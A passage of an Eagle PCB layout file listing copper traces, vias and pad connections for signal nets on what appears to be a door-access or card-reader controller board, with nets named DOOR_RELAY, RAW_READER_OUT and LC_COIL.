layer=\"1\"/>\n<wire x1=\"30.6\" y1=\"39.5\" x2=\"43.7\" y2=\"39.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.5\" y1=\"39.4\" x2=\"30.6\" y2=\"39.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.5\" y1=\"35.2\" x2=\"30.5\" y2=\"39.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"30.3\" y1=\"35\" x2=\"30.5\" y2=\"35.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.3\" y1=\"48.7\" x2=\"49.28\" y2=\"48.6948\" width=\"0.2\" layer=\"1\"/>\n<via x=\"50.7\" y=\"48.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"44\" y=\"39.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"30.5\" y=\"39.4\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"10\"/>\n<wire x1=\"30.3\" y1=\"35\" x2=\"30.33\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.3\" y1=\"35\" x2=\"30.33\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"R42\" pad=\"1\"/>\n<wire x1=\"30.33\" y1=\"34.95\" x2=\"30.33\" y2=\"33.17\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"30.33\" y1=\"33.17\" x2=\"33.5\" y2=\"30\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.5\" y1=\"30\" x2=\"33.5\" y2=\"29\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.5\" y1=\"29\" x2=\"29.4\" y2=\"24.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.4\" y1=\"24.9\" x2=\"29.4\" y2=\"6.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"29.4\" y1=\"6.5\" x2=\"31.7\" y2=\"4.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"31.7\" y1=\"4.2\" x2=\"31.7\" y2=\"2.7\" width=\"0.2\" layer=\"16\"/>\n<via x=\"31.7\" y=\"2.7\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"31.7\" y1=\"2.7\" x2=\"31.7\" y2=\"1.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.7\" y1=\"1.75\" x2=\"30.95\" y2=\"1\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP11\" pad=\"TP\"/>\n<wire x1=\"25.2\" y1=\"2.6\" x2=\"31.6\" y2=\"2.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"31.6\" y1=\"2.6\" x2=\"31.7\" y2=\"2.7\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$26\">\n<contactref element=\"C12\" pad=\"1\"/>\n<contactref element=\"R18\" pad=\"2\"/>\n<wire x1=\"9.15\" y1=\"19.9\" x2=\"11.25\" y2=\"19.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$24\">\n<contactref element=\"R6\" pad=\"2\"/>\n<contactref element=\"OPTO_MOS1\" pad=\"A\"/>\n<wire x1=\"17.75\" y1=\"23.3\" x2=\"17.75\" y2=\"25.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.75\" y1=\"25.85\" x2=\"18\" y2=\"26.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18\" y1=\"26.1\" x2=\"18.52\" y2=\"26.08\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$28\">\n<contactref element=\"R20\" pad=\"1\"/>\n<contactref element=\"LED2\" pad=\"A\"/>\n<wire x1=\"89.3\" y1=\"58.75\" x2=\"84.9\" y2=\"58.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.9\" y1=\"58.75\" x2=\"84.8\" y2=\"58.85\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"ERROR_LED_RED\">\n<contactref element=\"LED2\" pad=\"C\"/>\n<contactref element=\"U6\" pad=\"71\"/>\n<wire x1=\"63.6\" y1=\"56.2\" x2=\"64.5\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.1\" y1=\"56.7\" x2=\"63.6\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.9\" y1=\"56.7\" x2=\"63.1\" y2=\"56.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"72.7\" y1=\"65.5\" x2=\"63.9\" y2=\"56.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"89.8\" y1=\"65.5\" x2=\"87.4\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.4\" y1=\"65.5\" x2=\"72.7\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"64.5\" y1=\"56.2\" x2=\"64.52\" y2=\"56.1878\" width=\"0.2\" layer=\"1\"/>\n<via x=\"63.1\" y=\"56.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"34\"/>\n<via x=\"87.5\" y=\"66.1\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"87.5\" y1=\"66.1\" x2=\"87.5\" y2=\"65.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"87.5\" y1=\"65.6\" x2=\"87.4\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"84.8\" y1=\"60.35\" x2=\"84.8\" y2=\"62.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"84.8\" y1=\"62.6\" x2=\"87.4\" y2=\"65.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.4\" y1=\"65.2\" x2=\"87.4\" y2=\"66\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.4\" y1=\"66\" x2=\"87.5\" y2=\"66.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"91.29\" y1=\"70.2\" x2=\"91.2\" y2=\"70.11\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.2\" y1=\"70.11\" x2=\"91.2\" y2=\"67.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.2\" y1=\"67.4\" x2=\"90.4\" y2=\"66.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.4\" y1=\"66.6\" x2=\"90.4\" y2=\"66.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"90.4\" y1=\"66.1\" x2=\"89.8\" y2=\"65.5\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$29\">\n<contactref element=\"R32\" pad=\"2\"/>\n<contactref element=\"OPTO_MOS2\" pad=\"A\"/>\n<wire x1=\"96.1\" y1=\"41.95\" x2=\"96.1\" y2=\"43.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.1\" y1=\"43.1\" x2=\"96.5\" y2=\"43.5\" width=\"0.2\" layer=\"16\"/>\n<via x=\"96.5\" y=\"43.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"96.5\" y1=\"43.5\" x2=\"97.2\" y2=\"44.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"97.2\" y1=\"44.2\" x2=\"98.9\" y2=\"44.2\" width=\"0.2\" layer=\"1\"/>\n<via x=\"98.9\" y=\"44.2\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"98.9\" y1=\"44.2\" x2=\"99.7\" y2=\"43.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.7\" y1=\"43.4\" x2=\"99.7\" y2=\"40.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"99.7\" y1=\"40.3\" x2=\"100.2\" y2=\"39.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"100.2\" y1=\"39.8\" x2=\"102.16\" y2=\"39.73\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP42\" pad=\"TP\"/>\n<wire x1=\"93.2\" y1=\"41.5\" x2=\"93.65\" y2=\"41.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"93.65\" y1=\"41.95\" x2=\"96.1\" y2=\"41.95\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"DOOR_RELAY\">\n<contactref element=\"R32\" pad=\"1\"/>\n<contactref element=\"U6\" pad=\"66\"/>\n<wire x1=\"65.7\" y1=\"53.7\" x2=\"64.6\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.8\" y1=\"54.8\" x2=\"65.7\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.3\" y1=\"54.8\" x2=\"66.8\" y2=\"54.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"72.7\" y1=\"54.8\" x2=\"72.3\" y2=\"54.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"73\" y1=\"55.1\" x2=\"72.7\" y2=\"54.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"75.6\" y1=\"55.1\" x2=\"73\" y2=\"55.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.6\" y1=\"43.6\" x2=\"80.4\" y2=\"43.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"87.1\" y1=\"43.6\" x2=\"80.6\" y2=\"43.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"93.7\" y1=\"37\" x2=\"87.1\" y2=\"43.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.3\" y1=\"37\" x2=\"93.7\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"96.3\" y1=\"35\" x2=\"94.3\" y2=\"37\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"64.6\" y1=\"53.7\" x2=\"64.52\" y2=\"53.6986\" width=\"0.2\" layer=\"1\"/>\n<via x=\"72.3\" y=\"54.8\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"80.4\" y=\"43.8\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"36\"/>\n<wire x1=\"96.3\" y1=\"35\" x2=\"96.37\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"96.4\" y1=\"39.95\" x2=\"96.1\" y2=\"40.25\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.37\" y1=\"34.95\" x2=\"96.1\" y2=\"35.22\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"96.1\" y1=\"35.22\" x2=\"96.1\" y2=\"40.25\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.4\" y1=\"43.8\" x2=\"80.4\" y2=\"50.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"80.4\" y1=\"50.3\" x2=\"75.6\" y2=\"55.1\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"N$30\">\n<contactref element=\"OPTO_MOS2\" pad=\"NO\"/>\n<contactref element=\"JP17\" pad=\"1\"/>\n<wire x1=\"107.76\" y1=\"39.73\" x2=\"108.1\" y2=\"39.49\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"108.1\" y1=\"39.49\" x2=\"108.1\" y2=\"32.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"108.1\" y1=\"32.1\" x2=\"107\" y2=\"31\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"107\" y1=\"31\" x2=\"107\" y2=\"30.6\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"107\" y1=\"30.6\" x2=\"106.8\" y2=\"30.8\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"106.8\" y1=\"30.8\" x2=\"106.8\" y2=\"30.827\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"N$31\">\n<contactref element=\"OPTO_MOS2\" pad=\"COM\"/>\n<contactref element=\"JP17\" pad=\"2\"/>\n<wire x1=\"107.76\" y1=\"42.29\" x2=\"109.3\" y2=\"40.85\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"109.3\" y1=\"40.85\" x2=\"109.3\" y2=\"28.8\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"109.3\" y1=\"28.8\" x2=\"108.6\" y2=\"28.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"108.6\" y1=\"28.1\" x2=\"106.867\" y2=\"28.1\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"106.867\" y1=\"28.1\" x2=\"106.8\" y2=\"28.033\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"N$32\">\n<wire x1=\"101.5\" y1=\"70.2\" x2=\"101.5\" y2=\"72.6\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"101.5\" y1=\"72.6\" x2=\"100.6\" y2=\"73.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"100.6\" y1=\"73.5\" x2=\"7.4\" y2=\"73.5\" width=\"0.4\" layer=\"1\"/>\n<wire x1=\"7.4\" y1=\"73.5\" x2=\"4.5\" y2=\"70.6\" width=\"0.4\" layer=\"1\"/>\n</signal>\n<signal name=\"N$33\">\n<wire x1=\"4.5\" y1=\"70.6\" x2=\"4.5\" y2=\"66.2\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"4.5\" y1=\"66.2\" x2=\"6.7\" y2=\"64.5\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"6.7\" y1=\"64.5\" x2=\"6.8\" y2=\"64.5\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"6.8\" y1=\"64.5\" x2=\"6.8\" y2=\"61\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"6.8\" y1=\"61\" x2=\"8.7\" y2=\"61\" width=\"0.4\" layer=\"16\"/>\n</signal>\n<signal name=\"N$34\">\n<via x=\"4.4\" y=\"70.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n</signal>\n<signal name=\"RAW_READER_OUT\">\n<contactref element=\"R15\" pad=\"1\"/>\n<contactref element=\"U4\" pad=\"1\"/>\n<contactref element=\"U4\" pad=\"12\"/>\n<contactref element=\"U4\" pad=\"9\"/>\n<wire x1=\"57.6\" y1=\"23.5\" x2=\"57.6\" y2=\"20.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"20.3\" x2=\"55.6\" y2=\"20.26\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"24\" x2=\"55.6\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.7\" y1=\"26.6\" x2=\"54.2\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"26.6\" x2=\"51.7\" y2=\"26.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"24.1\" x2=\"55.6\" y2=\"24.07\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.4\" y1=\"26.6\" x2=\"50.4\" y2=\"26.61\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"24.1\" x2=\"54.2\" y2=\"24.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"20.3\" x2=\"57.3\" y2=\"20.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.3\" y1=\"20.3\" x2=\"57.6\" y2=\"20.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55.6\" y1=\"24\" x2=\"57.1\" y2=\"24\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"57.1\" y1=\"24\" x2=\"57.6\" y2=\"23.5\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"TP10\" pad=\"TP\"/>\n<wire x1=\"50.4\" y1=\"26.61\" x2=\"45.81\" y2=\"26.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.81\" y1=\"26.6\" x2=\"45.9\" y2=\"27\" width=\"0.2\" layer=\"1\"/>\n<via x=\"45.5\" y=\"29.4\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"39.65\" y1=\"20.95\" x2=\"36.8\" y2=\"18.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36.8\" y1=\"18.1\" x2=\"36.8\" y2=\"13.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36.8\" y1=\"13.5\" x2=\"35.6\" y2=\"12.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"35.6\" y1=\"12.3\" x2=\"35\" y2=\"12.3\" width=\"0.2\" layer=\"16\"/>\n<via x=\"35\" y=\"12.3\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"35\" y1=\"12.3\" x2=\"32.8\" y2=\"12.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.8\" y1=\"12.3\" x2=\"32.6\" y2=\"12.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"32.6\" y1=\"12.1\" x2=\"32.6\" y2=\"11.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.2\" y1=\"12.8\" x2=\"37.5\" y2=\"13.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"37.5\" y1=\"13.5\" x2=\"36.8\" y2=\"13.5\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP12\" pad=\"1\"/>\n<wire x1=\"34.7\" y1=\"26.1\" x2=\"34.7\" y2=\"25.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.7\" y1=\"25.9\" x2=\"39.65\" y2=\"20.95\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.71\" y1=\"27\" x2=\"45.71\" y2=\"27.19\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.71\" y1=\"27.19\" x2=\"45.9\" y2=\"27\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.65\" y1=\"20.95\" x2=\"45.5\" y2=\"26.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.5\" y1=\"26.8\" x2=\"45.5\" y2=\"29.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"45.5\" y1=\"29.4\" x2=\"45.71\" y2=\"29.19\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"45.71\" y1=\"29.19\" x2=\"45.71\" y2=\"27\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"J4\" pad=\"2\"/>\n<wire x1=\"32.6\" y1=\"11.05\" x2=\"33.392\" y2=\"11.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.392\" y1=\"11.05\" x2=\"33.092\" y2=\"10.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$35\">\n<contactref element=\"R17\" pad=\"2\"/>\n<contactref element=\"J4\" pad=\"1\"/>\n<wire x1=\"34.108\" y1=\"10.9\" x2=\"35.95\" y2=\"10.9\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RC13\">\n<contactref element=\"U6\" pad=\"73\"/>\n<contactref element=\"JP15\" pad=\"32\"/>\n<wire x1=\"64.52\" y1=\"57.2038\" x2=\"74\" y2=\"57.2038\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74\" y1=\"57.2038\" x2=\"74.6038\" y2=\"57.2038\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.6038\" y1=\"57.2038\" x2=\"86.6\" y2=\"69.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86.6\" y1=\"69.2\" x2=\"86.6\" y2=\"69.81\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"86.6\" y1=\"69.81\" x2=\"86.21\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<contactref element=\"X2\" pad=\"2\"/>\n<contactref element=\"C35\" pad=\"2\"/>\n<wire x1=\"72.15\" y1=\"58.3\" x2=\"73.67\" y2=\"58.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.67\" y1=\"58.3\" x2=\"73.8\" y2=\"58.43\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.8\" y1=\"58.43\" x2=\"73.8\" y2=\"57.4038\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"73.8\" y1=\"57.4038\" x2=\"74\" y2=\"57.2038\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"LC_COIL\">\n<contactref element=\"C31\" pad=\"1\"/>\n<contactref element=\"C32\" pad=\"1\"/>\n<contactref element=\"OPTO_MOS3\" pad=\"NO\"/>\n<contactref element=\"L1\" pad=\"2\"/>\n<contactref element=\"JP2\" pad=\"2\"/>\n<wire x1=\"16.5\" y1=\"4.9\" x2=\"13.4\" y2=\"4.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.4\" y1=\"4.9\" x2=\"13\" y2=\"4.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13\" y1=\"4.5\" x2=\"13\" y2=\"3.033\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13\" y1=\"3.033\" x2=\"13.033\" y2=\"3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.1\" y1=\"2.85\" x2=\"19.45\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.45\" y1=\"2.85\" x2=\"20.1\" y2=\"2.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.1\" y1=\"2.2\" x2=\"20.6\" y2=\"2.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.8\" y1=\"2\" x2=\"21.1\" y2=\"1.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"21.1\" y1=\"1.7\" x2=\"21.1\" y2=\"1.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"21.1\" y1=\"1.1\" x2=\"20.9\" y2=\"0.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.9\" y1=\"0.9\" x2=\"21.05\" y2=\"0.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"21.05\" y1=\"0.9\" x2=\"21.34\" y2=\"1.03\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.1\" y1=\"2.85\" x2=\"17.95\" y2=\"2.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.95\" y1=\"2.85\" x2=\"17.6\" y2=\"3.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.6\" y1=\"3.2\" x2=\"17.6\" y2=\"3.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.6\" y1=\"3.8\" x2=\"16.5\" y2=\"4.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.6\" y1=\"2.2\" x2=\"20.8\" y2=\"2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"20.8\" y1=\"2\" x2=\"22\" y2=\"2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22\" y1=\"2\" x2=\"22.3\" y2=\"2.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.3\" y1=\"2.3\" x2=\"22.3\" y2=\"5.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.3\" y1=\"5.05\" x2=\"24.45\" y2=\"5.05\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24.45\" y1=\"5.05\" x2=\"25.1\" y2=\"5.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.1\" y1=\"5.7\" x2=\"25.1\" y2=\"7.25\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$3\">\n<contactref element=\"OPTO_MOS3\" pad=\"A\"/>\n<contactref element=\"R42\" pad=\"2\"/>\n<wire x1=\"29.25\" y1=\"1\" x2=\"26.94\" y2=\"1.03\" width=\"0.6\" layer=\"1\"/>\n</signal>\n<signal name=\"N$4\">\n<contactref element=\"OPTO_MOS3\" pad=\"COM\"/>\n<contactref element=\"C36\" pad=\"1\"/>\n<wire x1=\"21.34\" y1=\"3.59\" x2=\"19.94\" y2=\"4.75\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.94\" y1=\"4.75\" x2=\"19\" y2=\"4.75\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"N$11\">\n<contactref element=\"JP19\" pad=\"2\"/>\n<contactref element=\"TP43\" pad=\"TP\"/>\n<contactref element=\"L1\" pad=\"1\"/>\n<contactref element=\"JP2\" pad=\"1\"/>\n<wire x1=\"7.1\" y1=\"6.4\" x2=\"7.1\" y2=\"1.633\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.1\" y1=\"1.633\" x2=\"7.133\" y2=\"3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"7.133\" y1=\"3\" x2=\"7.133\" y2=\"1.767\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"7.133\" y1=\"1.767\" x2=\"8.3\" y2=\"0.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"8.3\" y1=\"0.6\" x2=\"15.2\" y2=\"0.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.2\" y1=\"0.6\" x2=\"15.8\" y2=\"1.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.8\" y1=\"1.2\" x2=\"15.8\" y2=\"2.973\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.8\" y1=\"2.973\" x2=\"15.827\" y2=\"3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.8\" y1=\"1.2\" x2=\"18.7\" y2=\"1.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.7\" y1=\"1.2\" x2=\"18.9\" y2=\"1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.9\" y1=\"1\" x2=\"18.95\" y2=\"1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"18.95\" y1=\"1\" x2=\"19.1\" y2=\"1.15\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"OLDOPB+\">\n<contactref element=\"R40\" pad=\"2\"/>\n<contactref element=\"R41\" pad=\"2\"/>\n<contactref element=\"R37\" pad=\"1\"/>\n<contactref element=\"C32\" pad=\"2\"/>\n<contactref element=\"TP44\" pad=\"TP\"/>\n<wire x1=\"25.1\" y1=\"8.95\" x2=\"29\" y2=\"8.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29\" y1=\"8.95\" x2=\"29.45\" y2=\"8.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.45\" y1=\"8.5\" x2=\"29.45\" y2=\"6.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"29.45\" y1=\"6.45\" x2=\"30.1\" y2=\"5.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.1\" y1=\"5.8\" x2=\"31.05\" y2=\"5.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.05\" y1=\"5.8\" x2=\"31.2\" y2=\"5.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.2\" y1=\"5.95\" x2=\"33.05\" y2=\"5.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.05\" y1=\"5.95\" x2=\"33.6\" y2=\"5.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.6\" y1=\"5.4\" x2=\"33.6\" y2=\"1.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.6\" y1=\"1.55\" x2=\"33.75\" y2=\"1.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31.2\" y1=\"5.95\" x2=\"28.55\" y2=\"5.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.55\" y1=\"5.95\" x2=\"28.1\" y2=\"5.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"28.1\" y=\"5.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"28.1\" y1=\"5.5\" x2=\"28.1\" y2=\"5.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"28.1\" y1=\"5.8\" x2=\"26.6\" y2=\"7.3\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"U4\" pad=\"5\"/>\n<wire x1=\"33.6\" y1=\"5.4\" x2=\"33.6\" y2=\"6.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"33.6\" y1=\"6.4\" x2=\"33.7\" y2=\"6.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"33.7\" y=\"6.5\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"33.7\" y1=\"6.5\" x2=\"36.9\" y2=\"6.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36.9\" y1=\"6.5\" x2=\"44.1\" y2=\"13.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44.1\" y1=\"13.7\" x2=\"44.9\" y2=\"13.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44.9\" y1=\"13.7\" x2=\"47.6\" y2=\"16.4\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.6\" y1=\"16.4\" x2=\"47.6\" y2=\"21.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.6\" y1=\"21.3\" x2=\"47.3\" y2=\"21.6\" width=\"0.2\" layer=\"16\"/>\n<via x=\"47.3\" y=\"21.6\" extent=\"1-16\" drill=\"0.4\" diameter=\"0.8\"/>\n<wire x1=\"47.3\" y1=\"21.6\" x2=\"50.33\" y2=\"21.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.33\" y1=\"21.6\" x2=\"50.4\" y2=\"21.53\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RA3\">\n<contactref element=\"JP14\" 